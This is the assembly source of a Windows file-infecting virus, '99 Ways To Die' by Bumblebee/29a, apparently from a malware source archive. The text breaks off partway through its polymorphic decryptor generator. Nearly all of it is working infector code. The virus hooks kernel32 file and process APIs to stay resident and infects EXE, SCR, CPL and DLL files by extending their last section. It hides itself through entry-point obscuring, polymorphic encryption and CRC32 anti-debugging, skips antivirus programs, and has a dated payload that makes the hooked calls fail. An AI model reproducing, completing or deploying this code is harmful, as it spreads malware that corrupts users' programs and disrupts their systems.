MalwareSourceCode/Win32/Infector/Win32.99WaysToDie.asm
2020-10-16 23:26:21 +02:00

1887 lines
54 KiB
NASM

;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; 99 Ways To Die ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . It could seem like a remake of Win32.RainSong. But i feel it's a
; quite new virus. I ever try to re-use some 'well coded' piezes of
; code, so this virus has little parts of RainSong, AOC, ...
; . I hope you'll find it interesting, even if you've seen my previous
; viruses yet due it infects dinamic link libraries and executables.
; . The name this time is due a kewl song by Megadeth. 99 Ways to die!
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk. Cuidadiiin!
;
; ÚÄÄÄÄÄÄÄÄÄÄ¿
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; . Win32 per-process resident PE infector.
; . Infects 10 files per time from current and windows folders.
; . Infection increasing last section.
; . Uses EPO tech. If it cannot apply EPO, it doesn't infect. This makes
; the virus more hard to detect, but infection ratio falls a bit...
; . Uses variable encryption with polymorphism and variable key slide.
; . Size padding as infection sign. Also avoids to infect files with
; CERW attributes in last section (i assume they're infected yet).
; Marks files that are not adequate to be infected.
; . Updates PE header checksum after infection.
; . Hooks:
; CreateFileA
; MoveFileA
; CopyFileA
; CreateProcessA
; SetFileAttributesA
; GetFileAttributesA
; SearchPathA
; SetCurrentDirectoryA
; . Gets KERNEL32.DLL address using SEH and searches for Win9x, WinNt
; and Win2k.
; . Uses CRC32 instead of names to get needed APIs.
; . Self integrity check using CRC32. This is easy to implement and
; quite effective way to make debug harder.
; . Infects PE files with extension: EXE SCR CPL DLL.
; . Takes care of the relocations (it infects DLL).
; . Avoids infect most used av (only in runtime part).
; . Has active payload about a year after infection. Payload remains
; active a whole month. At this month hooked API will not work. This
; is not as 'terrible' as it seems. User can change the date...
; I know avers are going to say '...it's a dangerous...' shit.
;
; There are other interesting things, but i think is better you take a
; look to the comments inside the code. Moreover in 29#5 there is a
; little article about considerations while infecting DLL.
;
; I realy need a break... no more virus coding for some months. I hope
; you'll find nice this release. I have an idea about a nice tech...
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL
extrn ExitProcess:PROC ; needed for 1st generation
extrn MessageBoxA:PROC
;
; Some macros and equs
;
@strz macro string
jmp @@a
@@b:
db string,0
@@a:
push offset @@b
endm
; Notice this could work only in my system due the harcoded address of
; MessageBoxA, but this is only for debug in my comp ;)
@debug macro title,reg
pushad
push 1000h
@@tit: @strz title
pop eax
add eax,ebp
push eax
push reg
push 0h
mov eax,0bff5412eh
call eax
popad
endm
@hook macro ApiAddress
lea eax,ApiAddress
jmp generalHook
endm
vSize equ vEnd-vBegin
PADDING equ 101
STRINGTOP equ 160
crptSize equ vSize-5
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'
.CODE
inicio: ; now i've realized i ever
; put this label in spanish!
pushad
call getDelta
lea esi,vBegin+ebp ; setup CRC32 for 1st
mov edi,vSize-4 ; generation
call CRC32
mov dword ptr [myCRC32+ebp],eax
xor dword ptr [hostRET+ebp],eax ; hide hostEP
popad
;
; 99Ways begins here!
;
vBegin label byte
call crypt ; decrypt
; here starts encrypted data -> vBegin + 5
pushad
; get delta offset
call getDelta
mov eax,dword ptr [myCRC32+ebp] ; restore hostEP
xor dword ptr [hostRET+ebp],eax ; before CRC32
lea esi,vBegin+ebp ; integrity check
mov edi,vSize-4 ; using CRC32
call CRC32
cmp eax,dword ptr [myCRC32+ebp]
je skipFakeProcess
cli
call $ ; this will fake the proc
skipFakeProcess:
mov esi,dword ptr [kernel32+ebp] ; test last used
call GetKernel32
jnc getAPIsNow
mov esi,077f00000h ; test for winNt
call GetKernel32
jnc getAPIsNow
mov esi,077e00000h ; test for win2k
call GetKernel32
jnc getAPIsNow
mov esi,0bff70000h ; test for win9x
call GetKernel32
jc returnHost
getAPIsNow:
; now get APIs using CRC32
mov edi,0bff70000h ; coded using win9x
kernel32 equ $-4
; ^ this is a nice way to optimize code and hide data,
; almost all the non-temporary data can be plazed inside code!
mov esi,edi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch
lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; make a copy of virus in memory and work there
push 00000040h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost
lea edi,vBegin+ebp
sub edi,dword ptr [virusEP+ebp]
add dword ptr [imageBase+ebp],edi ; fix relocations
; in the hook routine
lea esi,vBegin+ebp
mov edi,eax
mov ecx,vSize
rep movsb
; patch file loaded copy
call patchVirusBody
; jmp into memory copy - put into edi the return address
; for the memory copy
lea edi,vBegin+ebp
add eax,offset memCopy-offset vBegin
push eax
ret
memCopy:
; get delta offset another time for memory copy
call getDelta
; setup the ret to jmp patched virus copy
mov dword ptr [retPatch+ebp],edi
mov byte ptr [payload+ebp],0
lea edx,dateTime+ebp
push edx
call dword ptr [_GetSystemTime+ebp]
lea edx,dateTime+ebp
mov ax,word ptr [edx+2]
mov bx,-1
countdown equ $-2
; another time
cmp bx,ax ; the day arrived?
jne skipPay
mov byte ptr [payload+ebp],1
skipPay:
; alloc a temporary buffer to generate the poly sample
; of the virus ready to infect
push 00000004h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz quitFromMem
mov dword ptr [memHnd+ebp],eax
; the same polymorphic routine is used for each infection
; in the current execution of the virus
call dword ptr [_GetTickCount+ebp]
mov edi,dword ptr [memHnd+ebp]
add edi,vSize
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
call GenDCrpt
; store the size of the sample (for infection process)
add eax,vSize
mov dword ptr [gensize+ebp],eax
; Hook the API to get per-process residency
; Notice this must be called before any infection
call hookApi
; set infection counter to 10
mov byte ptr [infCount+ebp],10
call infectDir ; infect current
cmp byte ptr [infCount+ebp],0 ; better performance
je quitFromMem
lea esi,currentPath+ebp ; get current directory
push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz quitFromMem
push STRINGTOP ; get windows directory
lea esi,tmpPath+ebp
push esi
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz quitFromMem
lea esi,tmpPath+ebp ; goto windows directory
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz quitFromMem
call infectDir ; infect windows folder
lea esi,currentPath+ebp ; go back home
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
; this is the way to return host
; from the memory copy
jmp quitFromMem
returnHost:
; patch virus
call patchVirusBody
quitFromMem:
popad
push 1234568h
retPatch equ $-4
ret
; i know this way to go back to host it's a bit weird but
; supports relocations (for DLL) and patches the virus
; to avoid be called more than once and ...
patchVirusBody:
lea edi,vBegin+ebp
mov dword ptr [retPatch+ebp],edi
mov byte ptr [edi],0e9h
mov esi,offset fakeHost
hostRET equ $-4
; hehe
mov edx,edi
sub edx,offset vBegin
virusEP equ $-4
; hehehe
add esi,edx
sub esi,5
sub esi,edi
mov dword ptr [edi+1],esi
ret
;
; Returns Delta offset into ebp.
;
getDelta:
call delta
delta:
pop ebp
sub ebp,offset delta
ret
;
; Gets KERNEL32.DLL address in memory.
;
GetKernel32:
pushad
xor edx,edx
lea eax,dword ptr [esp-8h]
xchg eax,dword ptr fs:[edx]
lea edi,GetKernel32Exception+ebp
push edi
push eax
cmp word ptr [esi],'ZM'
jne GetKernel32NotFound
mov dx,word ptr [esi+3ch]
cmp esi,dword ptr [esi+edx+34h]
jne GetKernel32NotFound
mov dword ptr [kernel32+ebp],esi
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
clc
ret
GetKernel32Exception:
xor edi,edi
mov eax,dword ptr fs:[edi]
mov esp,dword ptr [eax]
GetKernel32NotFound:
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
stc
ret
;
; This routine makes CRC32.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; This routine hooks the APIs that gives virus residency.
; Takes care of relocations.
;
hookApi:
pushad
; init the sem to free
mov byte ptr [semHook+ebp],0
mov edx,400000h
imageBase equ $-4
; ;)
cmp word ptr [edx],'ZM'
jne noHook
mov edi,edx
add edi,dword ptr [edx+3ch]
cmp word ptr [edi],'EP'
jne noHook
mov edi,dword ptr [edi+80h] ; RVA import
or edi,edi
jz noHook
add edi,edx
searchK32Imp:
mov esi,dword ptr [edi+0ch] ; get name
or esi,esi
jz noHook
add esi,edx
push edi ; save (stringUp doesn't)
call stringUp
pop edi
jc nextName
lea esi,stringBuffer+ebp
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
jne nextName
cmp dword ptr [esi+4],'23LE'
je k32ImpFound
nextName:
add edi,14h
mov esi,dword ptr [edi]
or esi,esi
jz noHook
jmp searchK32Imp
k32ImpFound:
mov esi,dword ptr [edi+10h] ; get address table
or esi,esi
jz noHook
add esi,edx
lea ecx,HOOKTABLEEND+ebp
nextImp: ; search for APIs
lea edx,HOOKTABLEBEGIN+ebp
lodsd
or eax,eax
jz noHook
checkNextAPI:
mov edi,dword ptr [edx]
cmp eax,dword ptr [edi+ebp]
je doHook
add edx,8
cmp edx,ecx
jne checkNextAPI
jmp nextImp
doHook:
mov eax,dword ptr [edx+4]
add eax,ebp
mov dword ptr [esi-4],eax
add edx,8
cmp edx,ecx
jne nextImp
noHook:
popad
ret
;
; Changes to upper case the string by esi storing into stringBuffer.
; Sets carry flag if our string buffer is small. Returns in edi the
; end of the string into the buffer.
;
stringUp:
push esi eax
lea edi,stringBuffer+ebp
mov eax,edi
add eax,STRINGTOP
stringUpLoop:
cmp eax,edi
jne continueStringUp
stc
jmp stringUpOut
continueStringUp:
movsb
cmp byte ptr [esi-1],'a'
jb skipThisChar
cmp byte ptr [esi-1],'z'
ja skipThisChar
add byte ptr [edi-1],'A'-'a'
skipThisChar:
cmp byte ptr [esi-1],0
jne stringUpLoop
dec edi
clc
stringUpOut:
pop eax esi
ret
;
; The hooks.
;
Hook0:
@hook _CreateFileA
Hook1:
@hook _MoveFileA
Hook2:
@hook _CopyFileA
Hook3:
@hook _CreateProcessA
Hook4:
@hook _SetFileAttributesA
Hook5:
@hook _GetFileAttributesA
Hook6:
@hook _SearchPathA
Hook7:
@hook _SetCurrentDirectoryA
;
; This is the general hook that provides per-process residency.
;
generalHook:
push eax
pushad
pushfd
cld
; get delta offset
call getDelta
; setup the return hook
mov eax,dword ptr [eax+ebp]
mov dword ptr [esp+24h],eax
; check if filename==NULL
mov esi,dword ptr [esp+2ch]
or esi,esi
jz leaveHook
; check semaphore
cmp byte ptr [semHook+ebp],0
jne leaveHook
mov byte ptr [semHook+ebp],1
cmp byte ptr [payload+ebp],0
je skipPayloadEffect
; in the date of activation all hooked APIs will fail
xor eax,eax
mov dword ptr [esp+2ch],eax
jmp hookInfectionFail
skipPayloadEffect:
call stringUp
jc hookInfectionFail
push edi ; test the string it's
sub edi,esi ; long enought
cmp edi,5
pop edi
jna hookInfectionFail
cmp dword ptr [edi-4],'EXE.'
je infectThisFile
cmp dword ptr [edi-4],'LLD.'
je infectThisFile
cmp dword ptr [edi-4],'LPC.'
je infectThisFile
cmp dword ptr [edi-4],'RCS.'
jne hookInfectionFail
infectThisFile:
lea esi,stringBuffer+ebp ; erm... here could touch
call infect ; any av!
hookInfectionFail:
mov byte ptr [semHook+ebp],0
leaveHook:
popfd
popad
ret
;
; Infects PE files in current directory. It affects EXE, SCR, CPL and DLL
; extensions.
;
infectDir:
pushad
lea esi,find_data+ebp
push esi
lea esi,fndMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax
mov dword ptr [findHnd+ebp],eax
findNext:
lea esi,find_data.cFileName+ebp
call stringUp
lea esi,stringBuffer+ebp
push edi ; test the string it's
sub edi,esi ; long enought
cmp edi,5
pop edi
jna skipThisFile
cmp dword ptr [edi-4],'EXE.'
je validFileExt
cmp dword ptr [edi-4],'LLD.'
je validFileExt
cmp dword ptr [edi-4],'LPC.'
je validFileExt
cmp dword ptr [edi-4],'RCS.'
jne skipThisFile
validFileExt:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
cmp eax,8000h
jb skipThisFile ; at least 8000h bytes?
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile
testIfAv: ; let's search for strings
; that may appear in av progs
lea edi,avStrings+ebp
mov ecx,vStringsCout
testIfAvL:
push esi
mov ax,word ptr [edi]
testAvLoop:
cmp word ptr [esi],ax
jne contTestLoop
pop esi
jmp skipThisFile
contTestLoop:
inc esi
cmp byte ptr [esi+3],0 ; skip the extension
jne testAvLoop
pop esi
add edi,2
loop testIfAvL
lea esi,stringBuffer+ebp
call infect
cmp byte ptr [infCount+ebp],0 ; test 10 infections
je infectionDone
skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext
infectionDone:
push dword ptr [findHnd+ebp]
call dword ptr [_FindClose+ebp]
notFound:
popad
ret
;
; Infects PE file increasing last section.
;
; ESI: addr of file name of PE to infect.
;
infect:
pushad
mov dword ptr [fNameAddr+ebp],esi
push esi
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi
inc eax
jz infectionError
dec eax
mov dword ptr [fileAttrib+ebp],eax
push esi
push 00000080h
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi
or eax,eax
jz infectionError
xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz infectionErrorAttrib
dec eax
mov dword ptr [fHnd+ebp],eax
push 0h
push eax
call dword ptr [_GetFileSize+ebp]
inc eax
jz infectionErrorClose
dec eax
mov dword ptr [fileSize+ebp],eax
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp]
or eax,eax
jz infectionErrorClose
xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
mov edi,eax
cmp word ptr [edi],'ZM'
jne infectionErrorCloseUnmap
cmp word ptr [edi+12h],'(:' ; not valid file?
je infectionErrorCloseUnmap
add edi,dword ptr [edi+3ch]
cmp eax,edi
ja notValidFile ; avoid fucking headers
add eax,dword ptr [fileSize+ebp]
cmp eax,edi
jb notValidFile ; avoid fucking headers
cmp word ptr [edi],'EP'
jne notValidFile
mov edx,dword ptr [edi+16h] ; test it's a valid PE
and edx,2h ; i want executable
jz notValidFile
xor edx,edx
mov dx,word ptr [edi+5ch]
dec edx ; i don't want NATIVE
jz notValidFile
mov edx,edi
cmp dword ptr [edx+28h],0 ; test code base!=0
je notValidFile ; this check is for some
; DLL with no exec code
mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax
mov dword ptr [fstSec+ebp],edi
push edx
mov cx,word ptr [esi+06h]
mov ax,28h
dec cx
mul cx
add edi,eax
pop edx
test dword ptr [edi+24h],10000000h ; avoid this kind of section
jnz notValidFile ; we can corrupt it!
mov eax,dword ptr [edi+24h]
and eax,0e0000020h
cmp eax,0e0000020h ; mmm... This is infected yet
je infectionErrorCloseUnmap
mov eax,dword ptr [edi+10h] ; i rely on the headers...
add eax,dword ptr [edi+14h]
mov dword ptr [fileSize+ebp],eax
sub eax,dword ptr [edi+14h] ; calc our RVA
add eax,dword ptr [edi+0ch]
mov dword ptr [myRVA+ebp],eax
; save virus entry point to calc relocations in
; execution time
add eax,dword ptr [esi+34h]
mov dword ptr [virusEP+ebp],eax
call searchEPO ; Search for a call
jc notValidFile
push edi edx ecx ; patch the call
mov edx,dword ptr [myRVA+ebp]
add edx,dword ptr [esi+34h] ; edx = dest rva
mov edi,dword ptr [EPORva+ebp]
add edi,dword ptr [esi+34h] ; edi = call rva
sub edx,edi
sub edx,5 ; edx patch the call
mov ecx,dword ptr [EPOAddr+ebp]
xchg dword ptr [ecx+1],edx
add edx,edi ; get the rva
add edx,5
mov dword ptr [hostRET+ebp],edx ; and store it ;)
pop ecx edx edi
mov eax,dword ptr [edi+08h] ; fix the virtual size
push edx ; if needed
mov ecx,dword ptr [edx+38h] ; some PE have strange
xor edx,edx ; virt size (cdplayer p.e.)
div ecx
inc eax
or edx,edx
jz rvaFixDone
xor edx,edx
mul ecx
mov dword ptr [edi+08h],eax ; save the fixed virt size
rvaFixDone:
; save image base for hook API
mov edx,dword ptr [esi+34h]
mov dword ptr [imageBase+ebp],edx
pop edx
push edx ; calc the new virtual size
mov eax,BUFFERSIZE ; for the section
add eax,vSize
mov ecx,dword ptr [edx+38h]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx
add dword ptr [edi+08h],eax ; fix the virtual size
add dword ptr [edx+50h],eax ; fix the image size
or dword ptr [edi+24h],0e0000020h ; set the properties
push edx ; calc new size for
mov eax,dword ptr [gensize+ebp] ; the section
mov ecx,dword ptr [edx+3ch]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx
add dword ptr [edi+10h],eax ; store the phys size
mov edi,dword ptr [edx+80h] ; get RVA Import
xor ecx,ecx
mov cx,word ptr [edx+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
impSectionLoop: ; look for import section
mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb impSectionFound
add esi,28h
dec ecx
jnz impSectionLoop
impSectionFound:
or dword ptr [esi+24h],80000000h ; make writable
push edx ; calc file padding
mov ecx,PADDING ; (infection sign)
add eax,dword ptr [fileSize+ebp]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [pad+ebp],eax
pop edx
; update the virus sample ready to infect.
call updateVSample
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
xor eax,eax
push eax
push dword ptr [pad+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push dword ptr [pad+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
mov ecx,dword ptr [gensize+ebp]
mov esi,dword ptr [memHnd+ebp]
mov edi,eax
add edi,dword ptr [fileSize+ebp]
rep movsb
xchg ecx,eax ; I want the padding
mov eax,edi ; to be zeroes...
sub eax,ecx
mov ecx,dword ptr [pad+ebp]
sub ecx,eax
xor eax,eax
rep stosb
; update the PE checksum
mov ecx,dword ptr [pad+ebp]
inc ecx
shr ecx,1
mov esi,dword ptr [mapMem+ebp]
call CheckSumMappedFile ; calc partial check sum
add esi,dword ptr [esi+3ch] ; goto begin of nt header
mov word ptr [pchcks+ebp],ax
mov edx,1 ; complete the check sum
mov ecx,edx
mov ax,word ptr [esi+58h]
cmp word ptr [pchcks+ebp],ax
adc ecx,-1
sub word ptr [pchcks+ebp],cx
sub word ptr [pchcks+ebp],ax
mov ax,word ptr [esi+5ah]
cmp word ptr [pchcks+ebp],ax
adc edx,-1
sub word ptr [pchcks+ebp],dx
sub word ptr [pchcks+ebp],ax
movzx ecx,word ptr [pchcks+ebp]
add ecx,dword ptr [pad+ebp]
mov dword ptr [esi+58h],ecx ; set new check sum
dec byte ptr [infCount+ebp] ; another infection
infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
infectionErrorCloseMap:
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_SetFileTime+ebp]
infectionErrorClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]
infectionErrorAttrib:
push dword ptr [fileAttrib+ebp]
push dword ptr [fNameAddr+ebp]
call dword ptr [_SetFileAttributesA+ebp]
infectionError:
popad
ret
;
; Here the virus marks the file as no valid. This avoids later re-check
; the file in next executions of virus. Notice the infected files are not
; marked, for this issue i use size padding and test last section properties
; in second instance. Avers will find this mark in files that the virus
; doesn't want ;)
;
notValidFile:
mov edi,dword ptr [mapMem+ebp]
mov word ptr [edi+12h],'(:' ; checked but not valid!
jmp infectionErrorCloseUnmap
;
; This my 'search EPO' routine. Searches for a call into the code section
; that points to:
;
; push ebp
; mov ebp,esp
;
; This is the way the high level languages get the arguments from a call
; of a procedure. If this code is found i assume the call found it's
; correct and i patch it to jump into the virus.
;
searchEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP
xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
sectionLoop: ; look for code section
mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb sectionFound
add esi,28h
dec ecx
jnz sectionLoop
stc
jmp searchEPOOut
sectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz searchEPOFail ; we can corrupt it!
push esi
sub edi,dword ptr [esi+0ch] ; get raw address
add edi,dword ptr [esi+14h]
mov ecx,dword ptr [esi+10h]
cmp ecx,edi
jna searchEPOFail
sub ecx,edi
add edi,dword ptr [mapMem+ebp]
mov ebx,edi
add ebx,ecx
sub ebx,10h ; high secure fence
callLoop: ; loop that searches
cmp byte ptr [edi],0e8h ; for the call
jne continueCallLoop
mov edx,edi
add edx,dword ptr [edi+1]
add edx,5
cmp ebx,edx
jb continueCallLoop
cmp edx,dword ptr [mapMem+ebp]
jb continueCallLoop
mov esi,edx
mov dx,word ptr [esi]
cmp dx,08b55h
jne continueCallLoop
mov dx,word ptr [esi+1]
cmp dx,0ec8bh
jne continueCallLoop
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
pop esi
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
jmp searchEPOOut
continueCallLoop:
inc edi
loop callLoop
searchEPOFail:
pop esi
stc
searchEPOOut:
popad
ret
;
; Updates the virus sample ready to infect in our memory buffer.
;
updateVSample:
lea edx,dateTime+ebp
push edx
call dword ptr [_GetSystemTime+ebp]
lea esi,dateTime+ebp ; save month-1
xor eax,eax
mov ax,word ptr [esi+2]
dec eax
or eax,eax
jnz storeCountdown
add eax,12
storeCountdown:
mov word ptr [countdown+ebp],ax
lea esi,vBegin+ebp ; update integrity check
mov edi,vSize-4 ; using CRC32
call CRC32
mov dword ptr [myCRC32+ebp],eax
xor dword ptr [hostRET+ebp],eax ; hide hostEP
lea esi,vBegin+ebp ; copy virus body
mov edi,dword ptr [memHnd+ebp]
mov ecx,vSize
rep movsb
mov ecx,dword ptr [CodeSize+ebp] ; encrypt virus body
mov esi,5
add esi,dword ptr [memHnd+ebp]
mov eax,dword ptr [CrptKey+ebp]
encrptLoop:
xor dword ptr [esi],eax
test byte ptr [CrptFlags+ebp],F_SADD ; slide add?
jz crptNoSADD
mov edx,dword ptr [CrptKey+ebp]
not edx
add eax,edx
crptNoSADD:
test byte ptr [CrptFlags+ebp],F_SSUB ; slide sub?
jz crptNoSSUB
mov edx,dword ptr [CrptKey+ebp]
rol edx,4
sub eax,edx
crptNoSSUB:
add esi,4
loop encrptLoop
ret
;
; [99WATLEN] 99 WAys To Lame ENgine
;
; This is the lame poly engine of this time :(
; It's only a way to not put fixed decryptors...
; Notice it doesn't add garbage instructions.
;
; EAX: CrptKey
; ECX: CodeSize
; EDI: Destination address
;
; returns EAX: size of generated proc
;
; <KeyReg>: eax edx ebx ecx esi edi
; <CouReg>: eax edx ebx ecx esi edi - { <KeyReg> }
; <*Imm32>: Random immediate value
; ?? op ??: Op could be here (or not ;)
;
; push ebp
; mov ebp,esp
; push <KeyReg>
; push <CouReg>
; mov <KeyReg>,<KeyImm32>
; mov <CouReg>,<KeyImm32>
; mov ebp,[ebp+4]
;theloop:
; xor [ebp],<KeyReg>
; ?? add <KeyReg>,<SlideUpImm32> ??
; ?? sub <KeyReg>,<SlideDownImm32> ??
; add ebp,4
; sub <CouReg>,1
; jne theloop
; pop <CouReg>
; pop <KeyReg>
; pop ebp
; ret
;
GenDCrpt:
pushad ; setup regs status
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,9
rep stosb
popad
mov byte ptr [RegStatus+ebp+_EBP],1
mov byte ptr [RegStatus+ebp+_ESP],1
mov dword ptr [CrptKey+ebp],eax
mov dword ptr [CodeSize+ebp],ecx
mov byte ptr [CrptFlags+ebp],al
xor byte ptr [CrptFlags+ebp],ah
xor eax,eax
push edi
mov cl,_EBP
call AddPushREG
mov ax,0ec8bh
stosw
call GetReg
mov byte ptr [KeyReg+ebp],al
mov cl,al
call AddPushREG
call GetReg
mov byte ptr [LoopReg+ebp],al
mov cl,al
call AddPushREG
mov cl,byte ptr [KeyReg+ebp]
mov edx,dword ptr [CrptKey+ebp]
call AddMovREGINM
mov cl,byte ptr [LoopReg+ebp]
mov edx,dword ptr [CodeSize+ebp]
call AddMovREGINM
mov edx,04h
mov cl,_EBP
call AddMovREGMEMEBP
push edi
mov cl,byte ptr [KeyReg+ebp]
call AddXorMEMEBPREG
test byte ptr [CrptFlags+ebp],F_SADD
jz noSADD
mov cl,byte ptr [KeyReg+ebp]
mov edx,dword ptr [CrptKey+ebp]
not edx
call AddAddREGINM
noSADD:
